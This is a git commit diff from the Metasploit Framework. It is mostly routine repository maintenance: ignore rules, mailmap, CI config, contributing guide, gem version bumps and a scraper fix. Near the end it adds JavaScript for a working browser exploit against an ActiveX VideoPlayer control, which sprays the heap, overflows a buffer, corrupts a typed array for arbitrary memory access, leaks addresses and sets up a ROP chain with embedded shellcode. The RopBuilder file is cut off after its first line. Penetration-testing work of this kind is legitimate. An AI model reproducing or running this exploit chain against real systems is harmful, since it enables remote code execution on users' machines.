commit
6516cab5be
|
@ -67,17 +67,7 @@ external/source/exploits/**/Release
|
|||
|
||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the meterpreter_bins gem.
|
||||
data/meterpreter/elevator.*.dll
|
||||
data/meterpreter/ext_server_espia.*.dll
|
||||
data/meterpreter/ext_server_extapi.*.dll
|
||||
data/meterpreter/ext_server_incognito.*.dll
|
||||
data/meterpreter/ext_server_kiwi.*.dll
|
||||
data/meterpreter/ext_server_lanattacks.*.dll
|
||||
data/meterpreter/ext_server_mimikatz.*.dll
|
||||
data/meterpreter/ext_server_priv.*.dll
|
||||
data/meterpreter/ext_server_stdapi.*.dll
|
||||
data/meterpreter/metsrv.*.dll
|
||||
data/meterpreter/screenshot.*.dll
|
||||
data/meterpreter/*.dll
|
||||
|
||||
# Avoid checking in Meterpreter libs that are built from
|
||||
# private source. If you're interested in this functionality,
|
||||
|
|
13
.mailmap
13
.mailmap
|
@ -13,11 +13,6 @@ jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
|||
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
|
||||
joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com>
|
||||
joev-r7 <joev-r7@github> Joe Vennix <joev@metasploit.com>
|
||||
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
|
||||
joev-r7 <joev-r7@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
joev-r7 <joev-r7@github> jvennix-r7 <joev@metasploit.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
|
@ -80,9 +75,15 @@ jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
|
|||
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
|
||||
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
|
||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
joevennix <joevennix@github> joe <joev@metasploit.com>
|
||||
joevennix <joevennix@github> Joe Vennix <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joev@metasploit.com>
|
||||
joevennix <joevennix@github> joev <joev@metasploit.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <joev@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
|
||||
kris <kris@???> kris <>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
|
|
10
.travis.yml
10
.travis.yml
|
@ -11,11 +11,10 @@ matrix:
|
|||
before_install:
|
||||
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
|
||||
- rake --version
|
||||
# Uncomment when we have fewer shipping msftidy warnings.
|
||||
# Merge committers will still be checking, just not autofailing.
|
||||
# - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
|
||||
# - ls -la ./.git/hooks
|
||||
# - ./.git/hooks/post-merge
|
||||
# Fail build if msftidy is not successful
|
||||
- ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
|
||||
- ls -la ./.git/hooks
|
||||
- ./.git/hooks/post-merge
|
||||
before_script:
|
||||
- cp config/database.yml.travis config/database.yml
|
||||
- bundle exec rake --version
|
||||
|
@ -26,7 +25,6 @@ script:
|
|||
- git diff --exit-code && bundle exec rake $RAKE_TASKS
|
||||
sudo: false
|
||||
rvm:
|
||||
- '1.9.3'
|
||||
- '2.1'
|
||||
|
||||
notifications:
|
||||
|
|
|
@ -3,86 +3,111 @@
|
|||
Thanks for your interest in making Metasploit -- and therefore, the
|
||||
world -- a better place!
|
||||
|
||||
Are you about to report a bug? Sorry to hear it.
|
||||
|
||||
Here's our [Issue tracker](https://github.com/rapid7/metasploit-framework/issues).
|
||||
Please try to be as specific as you can about your problem, include steps
|
||||
to reproduce (cut and paste from your console output if it's helpful), and
|
||||
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
|
||||
Please try to be as specific as you can about your problem; include steps
|
||||
to reproduce (cut and paste from your console output if it's helpful) and
|
||||
what you were expecting to happen.
|
||||
|
||||
Are you about to report a security vulnerability in Metasploit itself?
|
||||
How ironic! Please take a look at Rapid7's [Vulnerability
|
||||
Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send
|
||||
your report to security@rapid7.com using [our PGP key](http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D).
|
||||
your report to security@rapid7.com using our [PGP key].
|
||||
|
||||
Are you about to contribute some new functionality, a bug fix, or a new
|
||||
Metasploit module? If so, read on...
|
||||
|
||||
# Contributing to Metasploit
|
||||
|
||||
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
|
||||
What you see here in CONTRIBUTING.md is a bullet point list of the do's
|
||||
and don'ts of how to make sure *your* valuable contributions actually
|
||||
make it into Metasploit's master branch.
|
||||
|
||||
If you care not to follow these rules, your contribution **will** be
|
||||
closed (*Road House* style). Sorry!
|
||||
closed. Sorry!
|
||||
|
||||
This is intended to be a **short** list. The
|
||||
[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more
|
||||
This is intended to be a **short** list. The [wiki] is much more
|
||||
exhaustive and reveals many mysteries. If you read nothing else, take a
|
||||
look at the standard [development environment setup
|
||||
guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment)
|
||||
and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes).
|
||||
look at the standard [development environment setup] guide
|
||||
and Metasploit's [Common Coding Mistakes].
|
||||
|
||||
## Code Contributions
|
||||
|
||||
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
|
||||
* **Do** get [Rubocop](https://rubygems.org/search?query=rubocop) relatively quiet against the code you are adding or modifying.
|
||||
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
|
||||
* **Don't** use the default merge messages when merging from other
|
||||
branches.
|
||||
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
|
||||
* **Do** stick to the [Ruby style guide].
|
||||
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
|
||||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Don't** use the default merge messages when merging from other branches.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
|
||||
### Pull Requests
|
||||
|
||||
* **Do** target your pull request to the **master branch**. Not staging, not develop, not release.
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable.
|
||||
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
|
||||
Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow.
|
||||
Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
||||
|
||||
#### New Modules
|
||||
|
||||
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
|
||||
* **Do** use the [many module mixin APIs](https://rapid7.github.io/metasploit-framework/api/). Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
|
||||
#### Scripts
|
||||
|
||||
* **Don't** submit new [scripts]. Scripts are shipped as examples for
|
||||
automating local tasks, and anything "serious" can be done with post
|
||||
modules and local exploits.
|
||||
|
||||
#### Library Code
|
||||
|
||||
* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up.
|
||||
* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs.
|
||||
* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code.
|
||||
* **Do** write [RSpec] tests - even the smallest change in library land can thoroughly screw things up.
|
||||
* **Do** follow [Better Specs] - it's like the style guide for specs.
|
||||
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
|
||||
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
|
||||
|
||||
#### Bug Fixes
|
||||
|
||||
* **Do** include reproduction steps in the form of verification steps.
|
||||
* **Do** include a link to any corresponding [Issue](https://github.com/rapid7/metasploit-framework/issues) in the format of `See #1234` in your commit description.
|
||||
* **Do** include a link to any corresponding [Issues] in the format of
|
||||
`See #1234` in your commit description.
|
||||
|
||||
## Bug Reports
|
||||
|
||||
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||
* **Don't** file duplicate reports - search for your bug before filing a new report.
|
||||
* **Don't** file duplicate reports; search for your bug before filing a new report.
|
||||
|
||||
If you need some more guidance, talk to the main body of open
|
||||
source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4)
|
||||
or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers)
|
||||
mailing list.
|
||||
source contributors over on the [Freenode IRC channel],
|
||||
or e-mail us at the [metasploit-hackers] mailing list.
|
||||
|
||||
Also, **thank you** for taking the few moments to read this far! You're
|
||||
already way ahead of the curve, so keep it up!
|
||||
|
||||
[Issue Tracker]:http://r-7.co/MSF-BUGv1
|
||||
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
|
||||
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[development environment setup]:http://r-7.co/MSF-DEV
|
||||
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
|
||||
[Rubocop]:https://rubygems.org/search?query=rubocop
|
||||
[50.72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
|
||||
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
|
||||
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
|
||||
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
|
||||
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
|
||||
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
|
||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||
[API]:https://rapid7.github.io/metasploit-framework/api
|
||||
[RSpec]:http://rspec.info
|
||||
[Better Specs]:http://betterspecs.org
|
||||
[YARD]:http://yardoc.org
|
||||
[Issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers
|
||||
|
|
44
Gemfile.lock
44
Gemfile.lock
|
@ -8,13 +8,13 @@ PATH
|
|||
jsobfu (~> 0.2.0)
|
||||
json
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.28.0)
|
||||
meterpreter_bins (= 0.0.13)
|
||||
metasploit-model (~> 0.29.0)
|
||||
meterpreter_bins (= 0.0.17)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
railties
|
||||
rb-readline
|
||||
rb-readline-r7
|
||||
recog (~> 1.0)
|
||||
robots
|
||||
rubyzip (~> 1.1)
|
||||
|
@ -22,9 +22,9 @@ PATH
|
|||
tzinfo
|
||||
metasploit-framework-db (4.11.0.pre.dev)
|
||||
activerecord (>= 3.2.21, < 4.0.0)
|
||||
metasploit-credential (~> 0.13.12)
|
||||
metasploit-credential (~> 0.14.3)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
metasploit_data_models (~> 0.22.1)
|
||||
metasploit_data_models (~> 0.23.2)
|
||||
pg (>= 0.11)
|
||||
metasploit-framework-pcap (4.11.0.pre.dev)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
|
@ -68,7 +68,7 @@ GEM
|
|||
childprocess (>= 0.3.6)
|
||||
cucumber (>= 1.1.1)
|
||||
rspec-expectations (>= 2.7.0)
|
||||
bcrypt (3.1.9)
|
||||
bcrypt (3.1.10)
|
||||
builder (3.0.4)
|
||||
capybara (2.4.1)
|
||||
mime-types (>= 1.16)
|
||||
|
@ -105,41 +105,41 @@ GEM
|
|||
journey (1.0.4)
|
||||
jsobfu (0.2.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
json (1.8.1)
|
||||
json (1.8.2)
|
||||
mail (2.5.4)
|
||||
mime-types (~> 1.16)
|
||||
treetop (~> 1.4.8)
|
||||
metasploit-concern (0.3.0)
|
||||
activesupport (~> 3.0, >= 3.0.0)
|
||||
railties (< 4.0.0)
|
||||
metasploit-credential (0.13.12)
|
||||
metasploit-credential (0.14.3)
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.28.0)
|
||||
metasploit_data_models (~> 0.22.1)
|
||||
metasploit-model (~> 0.29.0)
|
||||
metasploit_data_models (~> 0.23.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
rubyntlm
|
||||
rubyzip (~> 1.1)
|
||||
metasploit-model (0.28.0)
|
||||
metasploit-model (0.29.0)
|
||||
activesupport
|
||||
railties (< 4.0.0)
|
||||
metasploit_data_models (0.22.1)
|
||||
metasploit_data_models (0.23.2)
|
||||
activerecord (>= 3.2.13, < 4.0.0)
|
||||
activesupport
|
||||
arel-helpers
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.28.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
recog (~> 1.0)
|
||||
meterpreter_bins (0.0.13)
|
||||
meterpreter_bins (0.0.17)
|
||||
method_source (0.8.2)
|
||||
mime-types (1.25.1)
|
||||
mini_portile (0.6.2)
|
||||
msgpack (0.5.9)
|
||||
msgpack (0.5.11)
|
||||
multi_json (1.0.4)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.5)
|
||||
nokogiri (1.6.6.2)
|
||||
mini_portile (~> 0.6.0)
|
||||
packetfu (1.1.9)
|
||||
pcaprub (0.11.3)
|
||||
|
@ -154,7 +154,7 @@ GEM
|
|||
rack (>= 0.4)
|
||||
rack-ssl (1.3.4)
|
||||
rack
|
||||
rack-test (0.6.2)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails (3.2.21)
|
||||
actionmailer (= 3.2.21)
|
||||
|
@ -172,10 +172,10 @@ GEM
|
|||
rdoc (~> 3.4)
|
||||
thor (>= 0.14.6, < 2.0)
|
||||
rake (10.4.2)
|
||||
rb-readline (0.5.1)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
rdoc (3.12.2)
|
||||
json (~> 1.4)
|
||||
recog (1.0.7)
|
||||
recog (1.0.24)
|
||||
nokogiri
|
||||
redcarpet (3.1.2)
|
||||
rkelly-remix (0.0.6)
|
||||
|
@ -199,8 +199,8 @@ GEM
|
|||
rspec-core (~> 2.99.0)
|
||||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rubyntlm (0.4.0)
|
||||
rubyzip (1.1.6)
|
||||
rubyntlm (0.5.0)
|
||||
rubyzip (1.1.7)
|
||||
shoulda-matchers (2.6.2)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
|
@ -219,7 +219,7 @@ GEM
|
|||
treetop (1.4.15)
|
||||
polyglot
|
||||
polyglot (>= 0.3.1)
|
||||
tzinfo (0.3.42)
|
||||
tzinfo (0.3.43)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.8.7.4)
|
||||
|
|
4
LICENSE
4
LICENSE
|
@ -32,10 +32,6 @@ Copyright: 2003-2010 Mark Borgerding
|
|||
2009-2012 H D Moore <hdm[at]rapid7.com>
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/ruby-lorcon/*
|
||||
Copyright: 2005, dragorn and Joshua Wright
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: external/source/exploits/IE11SandboxEscapes/*
|
||||
Copyright: James Forshaw, 2014
|
||||
License: GPLv3
|
||||
|
|
17
README.md
17
README.md
|
@ -1,13 +1,16 @@
|
|||
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
||||
The latest version of this software is available from https://metasploit.com/
|
||||
The latest version of this software is available from: https://metasploit.com
|
||||
|
||||
Bug tracking and development information can be found at:
|
||||
https://github.com/rapid7/metasploit-framework
|
||||
|
||||
New bugs and feature requests should be directed to:
|
||||
http://r-7.co/MSF-BUGv1
|
||||
|
||||
API documentation for writing modules can be found at:
|
||||
https://rapid7.github.io/metasploit-framework/api
|
||||
|
||||
|
@ -17,8 +20,8 @@ Questions and suggestions can be sent to:
|
|||
Installing
|
||||
--
|
||||
|
||||
Generally, you should use [the free installer](https://www.metasploit.com/download)
|
||||
which contains all dependencies and will get you up and running with a
|
||||
Generally, you should use [the free installer](https://www.metasploit.com/download),
|
||||
which contains all of the dependencies and will get you up and running with a
|
||||
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
|
||||
you'd like to deal with dependencies on your own.
|
||||
|
||||
|
@ -31,10 +34,10 @@ resources](https://metasploit.github.io), or the [wiki].
|
|||
|
||||
Contributing
|
||||
--
|
||||
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
|
||||
walk you through the whole process starting from installing all the
|
||||
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
|
||||
walk you through the whole process from installing all the
|
||||
dependencies, to cloning the repository, and finally to submitting a
|
||||
pull request. For slightly more info, see
|
||||
pull request. For slightly more information, see
|
||||
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
||||
|
||||
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -11,7 +11,6 @@
|
|||
|
||||
require 'rubygems' # install rubygems
|
||||
require 'hpricot' # gem install hpricot
|
||||
require 'open-uri'
|
||||
require 'timeout'
|
||||
|
||||
def usage
|
||||
|
|
|
@ -11,7 +11,7 @@
|
|||
|
||||
require 'rubygems' # install rubygems
|
||||
require 'hpricot' # gem install hpricot
|
||||
require 'open-uri'
|
||||
require 'uri'
|
||||
require 'timeout'
|
||||
|
||||
def usage
|
||||
|
@ -26,17 +26,17 @@ File.readlines(sitelist).each do |site|
|
|||
site.strip!
|
||||
next if site.length == 0
|
||||
next if site =~ /^#/
|
||||
|
||||
|
||||
out = File.join(output, site + ".txt")
|
||||
File.unlink(out) if File.exists?(out)
|
||||
|
||||
|
||||
fd = File.open(out, "a")
|
||||
|
||||
|
||||
|
||||
["", "www."].each do |prefix|
|
||||
begin
|
||||
Timeout.timeout(10) do
|
||||
doc = Hpricot(open("http://#{prefix}#{site}/"))
|
||||
Timeout.timeout(10) do
|
||||
doc = Hpricot(URI.parse("http://#{prefix}#{site}/").open)
|
||||
doc.search("//form").each do |form|
|
||||
|
||||
# Extract the form
|
||||
|
@ -78,9 +78,9 @@ File.readlines(sitelist).each do |site|
|
|||
$stderr.puts "#{prefix}#{site} #{e.class} #{e}"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
fd.close
|
||||
|
||||
|
||||
File.unlink(out) if (File.size(out) == 0)
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,126 @@
|
|||
var Exploit = function () {
|
||||
// create its vulnerable ActiveX object (as HTMLObjectElement)
|
||||
this.obj = document.createElement("object");
|
||||
this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
|
||||
// perform controlled memwrite to 0x1111f010: typed array header is at
|
||||
// 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
|
||||
// 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
|
||||
// The first 3 dwords are sideeffects due to the code we abuse for the
|
||||
// controlled memcpy
|
||||
this.whereAddress = 0x1111f010;
|
||||
this.memory = null;
|
||||
this.addresses = new Object();
|
||||
this.sprayer = null;
|
||||
this.informer = null;
|
||||
this.sc = "<%=shellcode%>";
|
||||
};
|
||||
|
||||
Exploit.prototype.run = function() {
|
||||
CollectGarbage();
|
||||
this.sprayer = new Sprayer();
|
||||
this.sprayer.spray();
|
||||
|
||||
this.memory = this.doCorruption();
|
||||
|
||||
//alert(this.memory.length.toString(16))
|
||||
if (this.memory.length != 0x7fffffff){
|
||||
//alert("Cannot change Uint32Array length");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// now we could even repair the change we did with memcpy ...
|
||||
|
||||
this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
|
||||
var leakSuccess = this.leakAddresses();
|
||||
|
||||
if (leakSuccess != 0) {
|
||||
//alert("Cannot leak required address to build the ROP chain");
|
||||
return leakSuccess;
|
||||
}
|
||||
|
||||
var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
|
||||
ropBuilder.buildRop();
|
||||
|
||||
// manipulate object data to gain EIP control with "Play" method
|
||||
var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
|
||||
this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call
|
||||
|
||||
// eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
|
||||
this.obj.Play()
|
||||
};
|
||||
|
||||
Exploit.prototype.prepareOverflow = function() {
|
||||
// prepare buffer with address we want to write to
|
||||
var ptrBuf = "";
|
||||
// fill buffer: length = relative pointer address - buffer start + pointer
|
||||
// offset
|
||||
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
|
||||
ptrBuf += this.dword2str(this.whereAddress);
|
||||
|
||||
return ptrBuf;
|
||||
};
|
||||
|
||||
Exploit.prototype.doCorruption = function() {
|
||||
var ptrBuf = this.prepareOverflow();
|
||||
|
||||
// trigger: overflow buffer and overwrite the pointer value after buffer
|
||||
this.obj.SetText(ptrBuf, 0, 0);
|
||||
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
|
||||
|
||||
// use overwritten pointer after buffer with method "SetFontName" to conduct
|
||||
// memory write. We overwrite a typed array's header length to 0x40 and let
|
||||
// its buffer point to the next typed array header at 0x1111f030 (see above)
|
||||
this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE
|
||||
|
||||
|
||||
if (this.sprayer.find() == -1){
|
||||
//alert("cannot find corrupted Uint32Array");
|
||||
return -1
|
||||
}
|
||||
|
||||
// modify subsequent Uint32Array to be able to RW all process memory
|
||||
this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
|
||||
this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem
|
||||
|
||||
// our memory READWRITE interface :)
|
||||
return this.sprayer.fullMemory;
|
||||
};
|
||||
|
||||
Exploit.prototype.leakAddresses = function() {
|
||||
this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);
|
||||
|
||||
this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);
|
||||
|
||||
// check if we have the image of VideoPlayer.ocx
|
||||
// check for MZ9000 header and "Vide" string at offset 0x6a000
|
||||
if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
|
||||
this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
|
||||
//alert("Cannot find VideoPlayer.ocx base or its version is wrong");
|
||||
return -1;
|
||||
}
|
||||
//alert(this.addresses['base'].toString(16))
|
||||
|
||||
// get VirtualAlloc from imports of VideoPlayer.ocx
|
||||
this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
|
||||
// memcpy is available inside VideoPlayer.ocx
|
||||
this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
|
||||
//alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))
|
||||
|
||||
scBuf = new Uint8Array(this.sc.length);
|
||||
for (n=0; n < this.sc.length; n++){
|
||||
scBuf[n] = this.sc.charCodeAt(n);
|
||||
}
|
||||
|
||||
this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);
|
||||
|
||||
return 0;
|
||||
};
|
||||
|
||||
// dword to little endian string
|
||||
Exploit.prototype.dword2str = function(dword) {
|
||||
var str = "";
|
||||
for (var n=0; n < 4; n++){
|
||||
str += String.fromCharCode((dword >> 8 * n) & 0xff);
|
||||
}
|
||||
return str;
|
||||
};
|
|
@ -0,0 +1,52 @@
|
|||
var Informer = function(infArray, mem, ref) {
|
||||
this.infoLeakArray = infArray;
|
||||
this.memoryArray = mem;
|
||||
this.referenceAddress = ref;
|
||||
};
|
||||
|
||||
// Calculate VideoPlayer.ocx base
|
||||
Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) {
|
||||
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
|
||||
//alert(mem[0x11120020/4].toString(16))
|
||||
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
|
||||
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
|
||||
var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64
|
||||
// deref heap pointer containing VideoPlayer.ocx pointer
|
||||
var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4];
|
||||
var base = videoplayerPtr - 0x6b3b0; // calculate base
|
||||
|
||||
return base;
|
||||
};
|
||||
|
||||
// Calculate VideoPlayer object addres
|
||||
Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) {
|
||||
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
|
||||
//alert(mem[0x11120020/4].toString(16))
|
||||
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
|
||||
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
|
||||
|
||||
return objPtr;
|
||||
};
|
||||
|
||||
// Calculate the shellcode address
|
||||
Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) {
|
||||
this.infoLeakArray[0] = shellcodeBuffer;
|
||||
// therefore, leak array element at 0x11120020 (typed array header of
|
||||
// Uint8Array containing shellcode) ...
|
||||
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
|
||||
// ...and deref array element + 0x1c (=> leak shellcode's buffer address)
|
||||
var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7]
|
||||
|
||||
return shellcodeAddr;
|
||||
};
|
||||
|
||||
|
||||
Informer.prototype.leakRopAddress = function(ropArray) {
|
||||
this.infoLeakArray[0] = ropArray
|
||||
// leak array element at 0x11120020 (typed array header)
|
||||
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
|
||||
// deref array element + 0x1c (leak rop's buffer address)
|
||||
var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address
|
||||
|
||||
return ropAddr;
|
||||
};
|
|
@ -0,0 +1,38 @@
|
|||
var RopBuilder = function(informer, addresses, scLength) {
|
||||
